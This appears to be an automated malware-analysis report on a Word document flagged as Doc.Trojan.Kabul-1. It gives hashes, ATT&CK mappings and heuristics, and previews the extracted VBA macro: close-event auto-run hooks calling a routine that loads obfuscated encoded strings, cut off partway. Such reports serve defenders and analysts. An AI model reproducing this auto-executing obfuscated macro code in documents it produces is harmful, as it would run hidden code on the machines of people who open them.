Doc.Trojan.Kabul-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 767951c4790aeaad…

MALICIOUS

Office (OLE)

38.5 KB Created: 2003-08-15 18:25:00 Authoring application: Microsoft Word 10.0 First seen: 2012-06-14
MD5: 67b6a554621f2b765ddd2a62de98062f SHA-1: 8e22c37beae7a7daec51c12b204b00c01316257f SHA-256: 767951c4790aeaadab83c5d30315ff5fa2a0223ccca69bc356e2abd84c207e62
140 Risk Score

Malware Insights

Doc.Trojan.Kabul-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Trojan.Kabul-1. It contains VBA macros, specifically triggering on document close events (AutoClose, Document_Close, FileClose). These macros are heavily obfuscated but are designed to execute arbitrary code, a common technique for downloading and executing further malicious payloads.

Heuristics 4

  • ClamAV: Doc.Trojan.Kabul-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Kabul-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 37582 bytes
SHA-256: 29d7a2bfa320f0287d667270acd5f2370268c8fb9540277d3a033474ef121479
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ThisDocument1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
'Kabul 2
Private Sub FileClose()
Call Kabul
End Sub
Private Sub Document_Close()
Call Kabul
End Sub
Private Sub AutoClose()
Call Kabul
End Sub
Private Sub Kabul()
Dim ourcode(100) As String
On Error Resume Next
ourcode(1) = "ﾊ�･ﾀ�ﾗ璋爭ﾋ��""
ourcode(2) = "ﾖ瑰･��ｸ･ﾋ�蓚ﾑ琲蓴爿ﾓﾇﾕ�琥ﾓﾇﾆ�頷��琿ｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｴｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｫﾆ�矜ﾈ�碣鰲""
ourcode(3) = "ﾖ瑰･ｸ･ﾑ澈�跼鞨�ﾓﾇﾕ�琥ﾓﾇﾆ�頷��琿ｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｴｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｫﾆ�矜ﾈ�碣鰲""
ourcode(4) = "顰跛矜･ｸ･ﾉ��璋ｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｴｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｩ･ｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｶｵｵｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬ"
ourcode(5) = "ﾊ�･ﾆｭｧ羲ﾜ鮏�ﾜ褊ﾜ�矮ｮｩ･ｰｬ･ﾃ�ﾊﾄｦｴ"
ourcode(6) = "ﾕ�ｦｴｩ･ｧ��･璞鞨･��"
ourcode(7) = "ﾕ�ｦｴｩ･ﾆｭｧﾓ襁�矮ｽﾗﾓ胄鴪ﾃ磑袞粲裙ｧｩ･ｰｬ･｣･ﾆ煆ｭｶｱｬ･｣･ﾆｭｧﾗ�ｮﾁ�鱚磑鴆鈊ｩ･ｰｬ･｣･ﾆ煆ｭｶｱｬ･｣･ﾆｭｧｩｧｩ･ｰｬ"
ourcode(8) = "ﾕ�ｦｴｩ･ﾆｭｧ�矮ｮﾏ鴆ⅴｮﾖ鶯ﾐ胖鴆釞ｽｰｧｩ･ｰｬ"
ourcode(9) = "ﾕ�ｦｴｩ･ﾆｭｧ�矮ｮﾏ鴆ⅴｮﾓ磋衾�碆ﾐ瀇ｽｰｧｩ･ｰｬ"
ourcode(10) = "ﾕ�ｦｴｩ･ﾆｭｧ�矮ｮﾏ鴆ⅴｮﾃ�鮻鶯朎�ⅷ褪�ⅴｽｰｧｩ･ｰｬ"
ourcode(11) = "ﾕ�ｦｴｩ･ﾆｭｧﾆ�ｽｱﾔ��矮ｮﾎ�碆ﾔ褊磑螳ﾖﾂﾐ�裙ﾖﾂﾃ�瀇�鮱ⅵﾉ愷ｱｩｮﾃ�蒟ﾍ�蔟�螳ﾃ�賣鴃褫ｧｩ･ｰｬ"
ourcode(12) = "ﾕ�ｦｴｩ･ﾆｭｧﾋ矮ｮﾎ�碆ﾔ褊磑螳ﾖﾂﾐ�裙ﾖﾂﾃ�瀇�鮱ⅵﾉ愷ｱｩｮﾃ�蒟ﾍ�蔟�螳ﾄ褌襁衫鴃褫ｱｧｩ･ｰｬ"
ourcode(13) = "ﾕ�ｦｴｩ･ﾆｭｧﾎ褸ｩ･ｰｬ"
ourcode(14) = "ﾕ�ｦｴｩ･ﾆｭｧﾋ矮ｮﾎ�碆ﾔ褊磑螳ﾖﾂﾐ�裙ﾖﾂﾃ�瀇�鮱ⅵﾉ愷ｱｩｮﾃ�蒟ﾍ�蔟�螳ﾁ蒿ﾆ枻鴈蝣ｨｧｩ･ｰｬ･｣･ﾆ煆ｭｶｱｬ･｣･ﾆｭｧﾃｺﾜ鮏�ﾜ褊ﾜ�矮ｮﾂﾁﾓｧｩ･ｰｬ･｣･ﾆ煆ｭｶｱｬ･｣･ﾆｭｧｩｧｩ･ｰｬ"
ourcode(15) = "ﾕ�ｦｴｩ･ﾆｭｧ�矮ｮﾁ�鱚磑鴆鈹ﾑｩ･ｰｬ"
ourcode(16) = "ﾆ鳰･ｦｴ"
ourcode(17) = "ﾊ�･ﾆｭｧ羲ﾜﾗ鴃蔡ﾜ褊ﾜ�矮ｮ粃ｩ･ｰｬ･ﾃ�ﾊﾄｦｴ"
ourcode(18) = "ﾕ�ｦｴｩ･顰跛矜"
ourcode(19) = "ﾆ鳰･ｦｴ"
ourcode(20) = "ﾖ�琲ｫﾕﾕ冐鰲ﾖ��箝ｧｧｩ･ﾆｭｧﾈﾋﾅﾙﾟﾌﾏﾃﾁﾌﾟﾍﾁﾃﾈﾉﾎﾅﾜﾓ�踝ﾜﾍ鱚踝ﾜﾗ鴃蔡ﾜﾃⅵﾖ褪�餧ﾒｧｩ･ｰｬｩ･ﾆｭｧﾋ矮ｧｩ･ｰｬｬ･ｸ･ﾆｭｧﾃｺﾜﾗ鴃蔡ﾜ褊ﾜ�矮ｮﾖﾂﾓｧｩ･ｰｬ"
ourcode(21) = "ﾖ�琲ｫﾕﾕ冐鰲ﾖ��箝ｧｧｩ･ﾆｭｧﾈﾋﾅﾙﾟﾃﾕﾒﾒﾅﾎﾔﾟﾕﾓﾅﾒﾜﾓ�踝ﾜﾍ鱚踝ﾜﾏ跏鱚袰ｹｮｰﾜﾗ�ﾜﾓ裙鴟ｩ･ｰｬｩ･ﾆｭｧﾌ褻褌ｧｩ･ｰｬｬ･ｸ･ｴ｣"
ourcode(22) = "ﾒ�･ﾊ����"
ourcode(23) = "ｫﾓ�踈���･ｸ･ｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｵｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬ"
ourcode(24) = "ｫﾆ��冐ﾆ�����ｸ･ｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｵｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬ"
ourcode(25) = "ｫﾖ蔘猴�蓚ﾕ頷ｸ･ｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｵｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬ"
ourcode(26) = "ｫﾄ鴈趾��ｫﾖ踟珥�ﾐ蓴��筵ｸ･ｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｵｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬ"
ourcode(27) = "ｫﾄ鴈趾��ｫﾀ�蓍鰲ﾆ蓁赳鯰珱･ｸ･ﾆ蓁赳鮹�鉉珮""
ourcode(28) = "ｫﾄ鴈趾��ｫﾖ渼�蓚ﾇ蔕�貘碆ｸ･ｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｵｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬ"
ourcode(29) = "ｫﾄ鴈趾��ｫﾁ�鱠�ﾄ鰲ｸ･ﾄ鰲���""
ourcode(30) = "ｫﾄ鴈趾��ｫﾁ�鱠�ﾖ蔔･ｸ･ｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｵｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬ"
ourcode(31) = "ﾀ�皈ﾒ�""
ourcode(32) = "ﾆ�韋蓁睇蔔ﾆｭｧﾔ���ｩ･ｰｬｬｫﾆ���鴕ｭﾆｭｧﾍ矼ｧｩ･ｰｬｬｫﾀ�蓍鰲皈ｸ･ｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｵｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬ"
ourcode(33) = "��蓚鱠��｡･ｸ･ﾆｭｧ羲ﾜ鮏�ﾜ褊ﾜ蔡ⅵ砌淲ｮ蔡罘ｩ･ｰｬ"
ourcode(34) = "ﾖ蔘狷��蓚鱠��｡"
ourcode(35) = "ﾃ��･ｸ･ｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｴｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬ･ﾑ�･ﾁ�跼鞨�ｫﾆ��"
ourcode(36) = "ﾒ�･ﾁ�跼鞨�ｭ�ｬｫﾓﾇﾕ�琥ﾓﾇﾆ�頷��琿ｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｴｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｫﾆ�矜ﾈ�碣鰲""
ourcode(37) = "ｫﾁ琺瑰猖��璋･ｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｴｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｩ･ｫﾆ�翹��璋"
ourcode(38) = "ｫ蓊矼頽��筵顰跛矜"
ourcode(39) = "ﾀ�皈ﾒ�""
ourcode(40) = "ﾋ��""
ourcode(41) = "ﾒ�･���""
ourcode(42) = "ｫﾁ琺瑰猖��璋･ｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｭｴｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｬｩ･ｫﾆ�翹��璋"
ourcode(43) = "ｫ蓊矼頽��筵顰跛矜"
ourcode(44) = "ﾀ�皈ﾒ�""
ourcode(45) = "ﾋ�蓚ﾑ琲蓴爿ﾖ蔘�""
ourcode(46) = "ﾕ蓴犱･ｸ･ﾆｭｧﾃｺﾜ鮏�ﾜ褊ﾜ蔡ⅵ砌ｮ鴃鬧ｩ･ｰｬ"
ourcode(47) = "ﾊ�･ﾕ蓴犱･ﾃ�ﾊﾄｦｴ"
ourcode(48) = "ﾁ�隘�ｭｷｲｬ･ﾄﾖ���""
ourcode(49) = "�ｭｵｬ･ｸ･ｧﾛﾓﾃﾒﾉﾐﾔﾝｧ"
ourcode(50) = "�ｭｴｬ･ｸ･ｧ銧ｽﾏﾎｱｺﾊﾏﾉﾎｺ｣ｺ﨡ｯﾉﾆｨ､鵫肭ｽｽ､淲ｩ﨡鞦�ｧ"
ourcode(51) = "�ｭｷｬ･ｸ･ｧ鉷ｽｯ蒹罌鮏､鵫肭羲ﾜ鮏�ﾜ褊ﾜ蔡ⅵ砌淲ｮ蔡罘"
ourcode(52) = "�ｭｶｬ･ｸ･ｧ鉸ｽｧ"
ourcode(53) = "�ｭｱｬ･ｸ･ｧ鋧ｽﾏﾎｱｺﾐﾁﾒﾔｺ｣ｺ﨡ｯﾉﾆｨ､鵫肭ｽｽ､淲ｩ﨡鞦�ｧ"
o
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.